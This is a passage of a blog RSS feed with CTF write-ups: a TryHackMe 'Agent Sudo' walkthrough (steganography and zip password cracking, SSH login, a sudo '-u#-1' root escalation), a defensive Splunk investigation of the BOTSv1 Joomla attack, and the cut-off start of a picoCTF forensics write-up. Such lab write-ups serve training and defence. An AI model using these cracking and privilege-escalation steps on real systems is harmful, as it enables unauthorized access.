KiB/s)<br>ftp&gt;</pre><p>Started with:-</p><ul><li>To_agentJ.txt</li></ul><pre>└─$ cat To_agentJ.txt         <br>Dear agent J,</pre><pre>All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn&#39;t be a problem for you.</pre><pre>From,<br>Agent C</pre><ul><li>cute-alien.jpg</li></ul><p>I used steghide to gather info from the image to find it requires a passphrase</p><pre>└─$ steghide info cute-alien.jpg <br>&quot;cute-alien.jpg&quot;:<br>  format: jpeg<br>  capacity: 1.8 KB<br>Try to get information about embedded data ? (y/n) y<br>Enter passphrase: <br>steghide: could not extract any data with that passphrase!</pre><p>I used stegcracker to crack the password and found the password</p><pre>└─$ stegcracker cute-alien.jpg /usr/share/wordlists/rockyou.txt<br>StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)<br>Copyright (c) 2023 - Luke Paris (Paradoxis)</pre><pre>StegCracker has been retired following the release of StegSeek, which <br>will blast through the rockyou.txt wordlist within 1.9 second as opposed <br>to StegCracker which takes ~5 hours.</pre><pre>StegSeek can be found at: <a href="https://github.com/RickdeJager/stegseek">https://github.com/RickdeJager/stegseek</a></pre><pre>Counting lines in wordlist..<br>Attacking file &#39;cute-alien.jpg&#39; with wordlist &#39;/usr/share/wordlists/rockyou.txt&#39;..<br>Successfully cracked file with password: (REDACTED)<br>Tried 441075 passwords<br>Your file has been written to: cute-alien.jpg.out<br>Area51</pre><p>The steg password is <em>area51</em></p><p>On checking the file written out there is a message to another use Agent J = james</p><pre>└─$ cat cute-alien.jpg.out <br>Hi james,</pre><pre>Glad you find this message. Your login password is (REDACTED)</pre><pre>Don&#39;t ask me why the password look cheesy, ask agent R who set this password for you.</pre><pre>Your buddy,<br>chris</pre><ul><li>cutie.png</li></ul><p>I started with binwalk tool to find more about the file. It had hidden contents</p><pre>└─$ binwalk cutie.png   </pre><pre>DECIMAL       HEXADECIMAL     DESCRIPTION<br>--------------------------------------------------------------------------------<br>0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced<br>869           0x365           Zlib compressed data, best compression<br>34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt<br>34820         0x8804          End of Zip archive, footer length: 22</pre><p>On the extract folder it had a zip file that was encrypted. I used zip2john to hash from the zip then used john to crack it</p><pre>└─$ ls<br>365  365.zlib  8702.zip  To_agentR.txt</pre><pre>└─$ zip2john 8702.zip &gt; hash     <br>                                                                                                                    <br>┌──(kali㉿kali)-[~/Downloads/THM/AgentSudo/_cutie.png.extracted]<br>└─$ cat hash         <br>8702.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:8702.zip:8702.zip</pre><p>I then used john to crack the hash and found</p><pre>└─$ john hash                                                                <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 ASIMD 4x])<br>Cost 1 (HMAC size) is 78 for all loaded hashes<br>Will run 2 OpenMP threads<br>Proceeding with single, rules:Single<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>Almost done: Processing the remaining buffered candidate passwords, if any.<br>Proceeding with wordlist:/usr/share/john/password.lst<br>alien            (8702.zip/To_agentR.txt)     <br>1g 0:00:00:02 DONE 2/3 (2023-08-17 14:24) 0.5000g/s 22342p/s 22342c/s 22342C/s 123456..Peter<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>We have credentials for james we will use ssh to to access the machine. I found the user.txt file which was our user flag</p><pre>└─$ ssh james@10.10.214.103<br>james@10.10.214.103&#39;s password: <br>Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)</pre><pre> * Documentation:  <a href="https://help.ubuntu.com/">https://help.ubuntu.com</a><br> * Management:     <a href="https://landscape.canonical.com/">https://landscape.canonical.com</a><br> * Support:        <a href="https://ubuntu.com/advantage">https://ubuntu.com/advantage</a></pre><pre>  System information as of Thu Aug 17 11:35:40 UTC 2023</pre><pre>  System load:  0.0               Processes:           94<br>  Usage of /:   39.7% of 9.78GB   Users logged in:     0<br>  Memory usage: 34%               IP address for eth0: 10.10.214.103<br>  Swap usage:   0%<br></pre><pre>75 packages can be updated.<br>33 updates are security updates.<br></pre><pre>Last login: Tue Oct 29 14:26:27 2019<br>james@agent-sudo:~$ ls<br>Alien_autospy.jpg  user_flag.txt<br>james@agent-sudo:~$ cat user_flag.txt <br>(REDACTED)</pre><p>There is an image in the same folder with the user flag. To view the image I used SCP tool on my local machine to get the image from the SSH server. So I had to exit the remote machine</p><pre>└─$ sudo scp james@yourmachineIP:Alien_autospy.jpg /                       <br>james@10.10.214.103&#39;s password: <br>Alien_autospy.jpg                                                                 100%   41KB  16.0KB/s   00:02</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*59cTXLWiwP3gMWx1.png" /></figure><p>I reverse searched the image using TinyEye</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Vm-FZHkn8RTyM3HI.png" /></figure><p>We now needed to escalate our privileges. I try checking what commands james can run as sudo and got</p><pre>james@agent-sudo:~$ sudo -l<br>[sudo] password for james: <br>Matching Defaults entries for james on agent-sudo:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User james may run the following commands on agent-sudo:<br>    (ALL, !root) /bin/bash</pre><p>I tried by checking GTFObins but wasn’t successful so I searched on google for ((ALL, !root) /bin/bash) and found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vFNybVPLmaeuDEG-.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MI79nQYjnSWPSMXV.png" /></figure><p>On running it,</p><pre>james@agent-sudo:~$ sudo -u#-1 /bin/bash<br>root@agent-sudo:~# whoami<br>root<br>root@agent-sudo:~# ls<br>Alien_autospy.jpg  user_flag.txt<br>root@agent-sudo:~# cd ~<br>root@agent-sudo:~# ls<br>Alien_autospy.jpg  user_flag.txt<br>root@agent-sudo:~# cat /root/root.txt <br>To Mr.hacker,</pre><pre>Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. </pre><pre>Your flag is <br>(REDACTED)</pre><pre>By,<br>DesKel a.k.a Agent R<br>root@agent-sudo:~#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o5iTrpOrrTFc218ZqI3ZeA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5dfc08ce8de1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalents Blue Team Scholarship 2023(Online)]]></title>
            <link>https://medium.com/@khanzjoel55/cybertalents-blue-team-scholarship-2023-online-2485ed2bc806?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/2485ed2bc806</guid>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Sat, 30 Sep 2023 22:25:01 GMT</pubDate>
            <atom:updated>2023-10-02T00:45:46.583Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ctf-Exam write-ups</h3><p>Hello everyone My name is Joel, I am cyber security professional from Uganda, standing as an exemplary figure in the fight against cyber crime. My dedication, expertise, and commitment to protecting digital frontiers make me a trusted guardian of online security. Through my valuable contributions to the cybersecurity community, I play an instrumental role in fortifying Uganda’s cyber defenses and inspiring future generations to embark on a path of cyber resilience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q1WIlAVCo4D6hNfb1-qvoA.png" /></figure><h3>Incident handling with Splunk</h3><p>This challenge was testing knowledge in the following ;</p><ul><li>Learn how to leverage OSINT sites during an investigation</li><li>How to map Attacker’s activities to Cyber Kill Chain Phases</li><li>How to utilize effective Splunk searches to investigate logs</li><li>Understand the importance of host-centric and network-centric log sources.</li></ul><p>To learn more about splunk</p><blockquote><em>To understand more about splunk, consider going through this room, Splunk 101 (</em><a href="https://tryhackme.com/jr/splunk101"><em>https://tryhackme.com/jr/splunk101</em></a><em>).</em></blockquote><p>It is good to understand the following before completing attempting this challenge.</p><ul><li>Splunk overview and basic navigation</li><li>Important Splunk Queries</li><li>Know how to use different functions/values to craft a search query</li><li>How to look for interesting fields</li></ul><blockquote><em>As an Incident Handler / SOC Analyst, we would aim to know the attackers’ tactics, techniques, and procedures</em><strong><em>(TTPs)</em></strong><em>. Then we can stop/defend/prevent against the attack in a better way.</em></blockquote><h3>Challenge: S3RVER</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MsBOXzV1goYpbCJ3VvpoAg.png" /></figure><blockquote>During our investigation, we will be using<strong> </strong>Splunk as our SIEM solution. Logs are being ingested from webserver/firewall/Suricata/Sysmon etc. In the data summary tab, we can explore the log sources showing visibility into both <strong>network-centric</strong> and<strong> host-centric</strong> activities.<strong> </strong>To get the complete picture of the hosts and log sources being monitored in Wayne Enterprise, please click on the<strong> Data summary</strong> and navigate the available tabs to get the information.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n0N7Ellzf_-YfTfj.gif" /></figure><p><strong>Interesting log Sources</strong></p><p>Some of the interesting log sources that will help us in our Investigation are</p><p><strong>Note:</strong> All the event logs that we are going to investigate are present in index=botsv1</p><blockquote><em>Now that we know what hosts we have to investigate, what sources and the source types are, </em><strong><em>let’s connect to the splunk server and start Investigating</em></strong><em>.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*u9OxnkPzSN9-9I-b.png" /></figure><h3>Reconnaissance Phase:</h3><p>Reconnaissance is an attempt to discover and collect information about a target. It could be knowledge about the system in use, the web application, employees or location, etc.</p><p>We will start our analysis by examining any reconnaissance attempt against the webserver imreallynotbatman.com. From an analyst perspective, where do we first need to look? If we look at the available log sources, we will find some log sources covering the network traffic, which means all the inbound communication towards our web server will be logged into the log source that contains the web traffic. Let&#39;s start by searching for the domain in the search head and see which log source includes the traces of our domain.</p><p><strong>Search Query</strong>: index=botsv1 imreallynotbatman.com</p><p><strong>Search Query explanation:</strong> We are going to look for the event logs in the index “botsv1” which contains the term imreallynotbatman.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yqzPhzjwe7kpmkDJ.gif" /></figure><p>Here we have searched for the term imreallynotbatman.com in the index botsv1. In the sourcetype field, we saw that the following log sources contain the traces of this search term.</p><ul><li>Suricata</li><li>stream:http</li><li>fortigate_utm</li><li>iis</li></ul><p>From the name of these log sources, it is clear what each log source may contain. Every analyst may have a different approach to investigating a scenario. Our first task is to identify the infected host and the IP address of the fileshare server. It would be obvious to look at the web traffic coming into the network. We can start looking into any of the logs mentioned above sources.</p><p>We will look at the number of events by “src_ip” that are communicating with “imreallynotbatman.com”</p><p>The “table” command will display all the “src_ip” values, while “stats” with the “count” function will count all the events for each “src_ip”. Then the “sort -count reverse” command will sort the “count” values in reverse.</p><pre>index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com<br>| table src_ip <br>| stats count by src_ip<br>| sort -count reverse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-CRr6j0bdeUK8FUu.png" /></figure><p>From the result, we can safely say that the IP address of “40.80.142.82” is likely the IP address of someone scanning “imreallynotbatman.com”</p><p>In reference to the result of the command above and the command below, we can also say that the IP address of “192.168.250.70” is the IP address of “imreallynotbatman.com”</p><pre>index=botsv1 imreallynotbatman.com src_ip=40.80.148.42</pre><p>But remember we are looking for the infected host and the ip address of the file server</p><p>The source IP will change to the web server IP of imreallynotbatman.com pulling the defacement picture file from the attackers website because the server has already been compromised by the attacker. Let’s first trace the IP of the imreallynotbatman.com website, assuming the scanner IP is the one who defaced.</p><p><em>Query: imreallynotbatman.com src_ip=”40.80.148.42″</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VpINkCiNetTThXjM.png" /></figure><p>and boomm thats the ip of the fileshare server.</p><h4><strong>first part of the flag is 192.168.250.70</strong></h4><p>Now lets get the infected host . My logic is that to get this is by first getting the malcious file that infected the host. since we know the ip of the imreallynotbatman.com we can narrow our query as follows.</p><pre>index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; http_method=POST multipart/form-data *.exe</pre><p>“3791.exe” is more suspicious of the two files identified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*x2vh7lpaS7SKwVZj.png" /></figure><p>now lets narrow down our search and Change the source type to “sysmon” with the name of the executable as our keyword search.</p><pre>index=botsv1 sourcetype=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; 3791.exeindex=botsv1 sysmon 3791.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*SWjvnqPMyllUgv03.png" /></figure><p>We then click on the “CommandLine” field and narrow down on the malicious executable file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*CxOVSd-KYkOBPB_T.png" /></figure><p>Going deeper into the attack, let’s look at events :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WI-eHVxtk9dJOLqE.png" /></figure><p><em>Query: c_ip=”192.168.250.70&quot; url=</em><a href="http://prankglassinebracket.jumpingcrab.com:1337:1337/poisonivy-is-coming-for-you-batman.jpeg"><em>http://prankglassinebracket.jumpingcrab.com:1337:1337/poisonivy-is-coming-for-you-batman.jpeg</em></a></p><p>Here we have one destination IP associated with malicious domain prankglassinebracket.jumpingcrab.com:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*m30lQlmdGvjTWhIW.png" /></figure><p>we used VirusTotal to identify the domains related to “23.22.63.114”.</p><p>If we scroll down the page, we see three malware files in the “Communicating files” tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*83QZ8jFn-rhbOzCi.png" /></figure><p>Let’s click on “MirandaTateScreensaver.scr.exe” and view the details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*95h5NXQGmXszDjRM.png" /></figure><p><strong>relations</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fqMWdhoHyOeMECdW.png" /></figure><p>since we know the malcious file as 3791.exe</p><p><strong>Getting details we can see suspicious 3791.exe:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*y7Oiw4FUFdvQvMEB.png" /></figure><p>Searching for 3791.exe’s MD5 hash, we can see that we have only 1 source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*QCEn-rIg2hS7p87O.png" /></figure><p>Lets look in the fields “CommandLine” or “process” for the scripts like vb or powershell.</p><pre>index=botsv1 sourcetype=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; *.vbs <br>|  table CommandLine</pre><p>The ‘vbs” executed by “cmd.exe” is very suspicious because its content is obfuscated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*NSSVqvvu7dAz3t-_.png" /></figure><p>from the above we see a user called bob.smith. woww could he be the one that was connected to the server?</p><p>The source seem to be from a windows host but we saw a host called we8105desk. maybe lets see uspicious domain visited by we8105desk</p><pre>index=botsv1 src=&quot;192.168.250.100&quot; sourcetype=&quot;stream:dns&quot; record_type=A NOT (query{}=*.microsoft.com OR query{}=*.bing.com OR query{}=wpad* OR query{}=isatap OR query{}=*.waynecorpinc.local OR query{}=*.windows.com OR query{}=*.msftncsi.com)<br>| table _time query{} src dest<br>| reverse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*7kbSUwQppDEWAchj.png" /></figure><p>lets confirm is bobs desktop is the one that was connected to the server by enumerating more about bob.</p><p>we find out bob inserted a usb in his desktop. but how.</p><p>USB devices and related information are logged in Windows Registry. So when a USB is connected to a Windows device, certain details are recorded too. The USB device information can be found in the “SYSTEM\CurrentControlSet\Enum\USBSTOR” Registry key.</p><p>Let’s start searching in the “winregistry” for events related to USB identification.</p><pre>index=botsv1 sourcetype=&quot;winregistry&quot;host=we8105desk USBSTOR  <br>|  table registry_value_data <br>| dedup registry_value_data</pre><p>index=botsv1 sourcetype=”winregistry”host=we8105desk USBSTOR friendlyname.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*paV0MR5wqUt3Q7ys-xs26Q.png" /></figure><p>from the above we see that the host is <strong>we8105desk and Bob Smith’s workstation (we8105desk) was connected to a file server.</strong></p><p>but how do we comfirm that it is the one file server we are looking for.</p><p>common protocols used are “ftp”, “smb” or “http”. The “sourcetype” field can provide an overview of the possible file servers used by the victim.</p><pre>index=&quot;botsv1&quot; src_ip=192.168.250.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Ww1imw-WCPSak-Lx.png" /></figure><p>By focusing on “stream:smb”, we can say that “192.168.250.20” is the file sever’s IP address</p><pre>index=&quot;botsv1&quot; src_ip=192.168.250.100 sourcetype=&quot;stream:smb&quot;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*yaPjdPKCx70JYIDb.png" /></figure><p>so we have a full flag as</p><p><strong>flag{we8105desk:192.168.250.20}</strong></p><h3>Challenge: ADMIN</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k57Nmk0Upr7eExWH4owSAQ.png" /></figure><p>Here we connect to there server again and try our basic queries.</p><blockquote>Let’s use the following search query to see the number of counts by each source IP against the webserver.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*avjhVdU_qylUwB97.png" /></figure><p>Additionally, we can also create different visualization to show the result. Click on <strong>Visualization → Select Visualization</strong> as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JX5Iqknemeytloqr.png" /></figure><p><strong>Search Query</strong>:index=botsv1 imreallynotbatman.com sourcetype=stream* | stats count(src_ip) as Requests by src_ip | sort - Requests</p><p><strong>Query Explanation: </strong>This query uses the stats function to display the count of the IP addresses in the field src_ip</p><blockquote>Now we will narrow down the result to show requests sent to our web server, which has the IP 192.168.250.70</blockquote><p><strong>Search Query:</strong> index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot;</p><p><strong>Query Explanation: </strong>This query will look for all the inbound traffic towards IP <strong>192.168.250.70.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kpbHLgMNkpqKNBks.png" /></figure><p><em>The result in the </em><strong><em>src_ip</em></strong><em> field shows three IP addresses (1 local IP and two remote IPs) that originated the HTTP traffic towards our webserver.</em></p><p><em>Another interesting field, </em><strong><em>http_method</em></strong><em> will give us information about the HTTP Methods observed during these HTTP communications.</em></p><p><em>We observed most of the requests coming to our server through the POST request, as shown below</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*a0LQOeuGIcYWpPpz.png" /></figure><p>To see what kind of traffic is coming through the POST requests, we will narrow down on the field http_method=POST as shown below:</p><p><strong>Search Query:</strong> index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; http_method=POST</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*91c9GFIS7wQaEb6B.png" /></figure><blockquote>The result in the <strong>src_ip</strong> field shows two IP addresses sending all the POST requests to our server.</blockquote><p><strong>Interesting fields: </strong>In the left panel, we can find some interesting fields containing valuable information. Some of the fields are:</p><ul><li>src_ip</li><li>form_data</li><li>http_user_agent</li><li>uri</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LdD2J1APpbWJ_fpb.gif" /></figure><p><em>The term Joomla is associated with the webserver found in a couple of fields like</em><strong><em> uri, uri_path, http_referrer</em></strong><em>, etc. This means our webserver is using Joomla CMS (Content Management Service) in the backend.</em></p><h4><strong>so the cms is joomla as first part of the flag.</strong></h4><p>lets now look for the second part of the flag which is the password of admin.<em> little search on the internet for the admin login page of the Joomla CMS will show as -&gt; </em><em>/joomla/administrator/index.php</em></p><p><em>It is important because this uri contains the login page to access the web portal therefore we will be examining the traffic coming into this admin panel for a potential brute-force attack.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5eyfXtEky7tyEwtC.png" /></figure><p>We can narrow down our search to see the requests sent to the login portal using this information.</p><p><strong>Search query: </strong>index=botsv1 imreallynotbatman.com sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; uri=&quot;/joomla/administrator/index.php&quot;</p><p><strong>Query Explanation:</strong> We are going to add uri=&quot;/joomla/administrator/index.php&quot; in the search query to show the traffic coming into this URI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*H1Nr7smaTAYNsbPv.png" /></figure><blockquote>form_data The field contains the requests sent through the form on the admin panel page, which has a login page. We suspect the attacker may have tried multiple credentials in an attempt to gain access to the admin panel. To confirm, we will dig deep into the values contained within the form_data field, as shown below:</blockquote><p><strong>Search Query: </strong>index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; http_method=POST uri=&quot;/joomla/administrator/index.php&quot; | table _time uri src_ip dest_ip form_data</p><p><strong>Query Explanation:</strong> We will add this -&gt; | table _time uri src dest_ip form_data to create a table containing important fields as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*4Pb6bIReaMdYoWbB.png" /></figure><blockquote>If we keep looking at the results, we will find two interesting fields username that includes the single username admin in all the events and another field passwd that contains multiple passwords in it, which shows the attacker from the IP 23.22.63.114 Was trying to guess the password by brute-forcing and attempting numerous passwords.</blockquote><blockquote>The time elapsed between multiple events also suggests that the attacker was using an automated tool as various attempts were observed in a short time.</blockquote><h3>Extracting Username and Passwd Fields using Regex</h3><blockquote>Looking into the logs, we see that these fields are not parsed properly. Let us use <strong>Regex</strong> in the search to extract only these two fields and their values from the logs and display them.</blockquote><p>We can display only the logs that contain the <strong>username</strong> and <strong>passwd</strong> values in the form_data field by adding form_data=*username*passwd* in the above search.</p><p><strong>Search Query: </strong>index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; http_method=POST uri=&quot;/joomla/administrator/index.php&quot; form_data=*username*passwd* | table _time uri src_ip dest_ip form_data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ijB8f2vE3bM0-hZl.png" /></figure><blockquote>It’s time to use Regex <strong>(regular expressions)</strong> to extract all the password values found against the field passwd in the logs. To do so, Splunk has a function called rex. If we type it in the search head, it will show detail and an example of how to use it to extract the values.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/0*39iP_nQnLiD5pmdg.png" /></figure><p>Now, let’s use Regex. <strong>rex field=form_data &quot;passwd=(?&lt;creds&gt;\w+)&quot;</strong> To extract the <strong>passwd</strong> values only. This will pick the <strong>form_data</strong> field and extract all the values found with the field. <strong>creds</strong>.</p><p><strong>Search Query:</strong>index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; http_method=POST form_data=*username*passwd* | rex field=form_data &quot;passwd=(?&lt;creds&gt;\w+)&quot; | table src_ip creds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Xkk2sbwwId3X7jQ4.gif" /></figure><blockquote>This result clearly shows a continuous brute-force attack attempt from an IP <strong>23.22.63.114</strong> and 1 password attempt <strong>batman</strong> from IP <strong>40.80.148.42</strong> using the Mozilla browser.</blockquote><p><em>when looking at web traffic if an attack was successful is Content-Length which is under src_headers in Splunk.</em></p><pre>index=botsv1 sourcetype=stream:http dest_ip=&quot;192.168.250.70&quot; http_method=POST form_data=*username*passwd* | rex field=form_data &quot;passwd=(?&lt;creds&gt;\w+)&quot; |table _time src_ip uri http_user_agent creds src_headers</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*yJHAxEhtgoEJShLW.png" /></figure><p>Hence the other part of the flag is the retrieved password : <strong>batman</strong></p><blockquote>flag{joomla:batman}</blockquote><p>happy hunting guys</p><p><a href="https://www.linkedin.com/in/kansiime-joel-241405218/">https://www.linkedin.com/in/kansiime-joel-241405218/</a></p><p><a href="https://twitter.com/KhanzJoel">https://twitter.com/KhanzJoel</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2485ed2bc806" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PICOCTF 2023 WRITEUPS]]></title>
            <link>https://medium.com/@khanzjoel55/picoctf-2023-writeups-20863871372e?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/20863871372e</guid>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Wed, 05 Jul 2023 12:53:30 GMT</pubDate>
            <atom:updated>2023-07-05T12:53:30.800Z</atom:updated>
            <content:encoded><![CDATA[<h3>Unforgotten-Bits</h3><h3>The Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/0*8wtxQ2SbNblpXtUV.png" /></figure><p>This was a 500 point challenge, and one of the most difficult forensics challenges ive done! And so, lets jump into it. This is gonna be quite a journey</p><h3>Initial reconnaissance</h3><p>We know that this is a disk partition from the description of the challenge, meaning we have a filesystem to explore! We can mount the disk to /mnt/t and begin. Whenever I get disk partitions, I find the most useful place to start is the home directory. Entering the home directory of this new file system and we find a user named “yone”. Yone has a decent amount of directories inside their home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*DDXljjJVwL1U29AE.png" /></figure><p>The one that sticks out to me as most interesting is the notes directory, since notes are usually related to important info (Passwords, usernames, missing security, etc). Entering that directory, we get just three notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/0*duuZctxIaGscwgez.png" /></figure><p>Wow, all of this makes completely no sense. What the hell does any of this mean? Who takes notes like this? The third note is the most interesting, due to it <em>sounding</em> like a potential start to something important? Maybe a password, maybe a hidden file, or maybe its the beginning of a ritual to summon Cthulhu. Who knows. Lets just keep this in mind and continue exploring the other directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*yTRJf9YDIfkka1ko.png" /></figure><p>I decide to enter the “irclogs” directory, as a log directory might contain something important. Theres a lot of sub directories, and it would be useless to put in pictures. I decide to fully descend into the “01” directory. At the end, theres a single log file with what seems to be a chat log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/0*4mcYLODdaNVT040a.png" /></figure><p>Here we have our main character Yone chatting it up with someone named “avidreader”. Yone tells us he is using the program steghide, as well as the password ‘akalibardzyratrundle’. He also mentions the encryption being used, we might be able to decrypt something later with this information. Lets move on to some more logs!</p><h3>The Logging Directories</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/0*8moT_Hp_cJ_gGS7h.png" /></figure><p>…They are all league of legends logs. After reading them all, the only thing I gained was a boredom. There was nothing useful, and nothing worth showing here. Lets move on to even more logs! Woo! We love logs!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ey5hoXGFFDlk8n1S.png" /></figure><p>So just reading this, it would seem that “Light” is something illegal in this universe, maybe a drug? Our friend “avidreader” seems to have some panic attack after using this “light”, so its possible. However, nothing that stands out here either. Since there are no more logs, we can move on to some other directories</p><p>Thats right, its time to explore the Mail directory!</p><h3>The Mail Directories</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*YcU3KCyNNzynYws0.png" /></figure><p>Inside this directory, we can see three mail directories. A current one, a temp one, and a new one.</p><p>I decide to check out the tmp directory, only to find literally nothing inside of it. Zilch, zero, nada. So.. I move onto the “new” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9XDbNMyEfGBO4H7D.png" /></figure><p>A reminder from one Bob Bobberson (nice name) who claims himself to be the Azerite Master, who tells Sten Walker (yone) to delete all emails to prevent this “light” from falling into the wrong hands. This is just a weird email, but it does seem to support my working theory of light being a drug. Lets keep it in mind, and enter the “cur” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5UWbrlyBYvFrR_w-.png" /></figure><p>Aha! A bunch of emails in a similar format to the previous one, surely these will be useful and help us on our quest to uncover the light!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aTExr6dyTxqb6WOm.png" /></figure><p>…Its all spam emails. I’ve cut off the rest of them, as it would take up more space than necessary.</p><p>Sad.. Oh well! Lets move on to another directory. This time I chose to enter the hidden directory, lynx. Entering this directory showed a single file, some browsing history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7lDCdG76k0vUi2uK.png" /></figure><p>It appears our friends Yone was learning a bit of cryptography. he first searched for some number encodings, then checked out Church encoding, a colleges directory, and the Golden Ratio Base. Maybe he used one of them? We can note that down and continue our exploration!</p><p>Our final directory we havent checked out is “gallery”</p><h3>The Gallery Directory</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/0*nE9y21WG3-kL5A2R.png" /></figure><p>Four bmp files (Old image files basically). The images when opened dont seem important, just weird looking images. However, remember that conversation we got earlier about steghide? Why not try using it on the image files! Using steg hide on the image files 1, 2, and 3 with the password ‘akalibardzyratrundle’ (remember we got that from the conversation as well) and we get something from three of the files! We end up getting these three files, 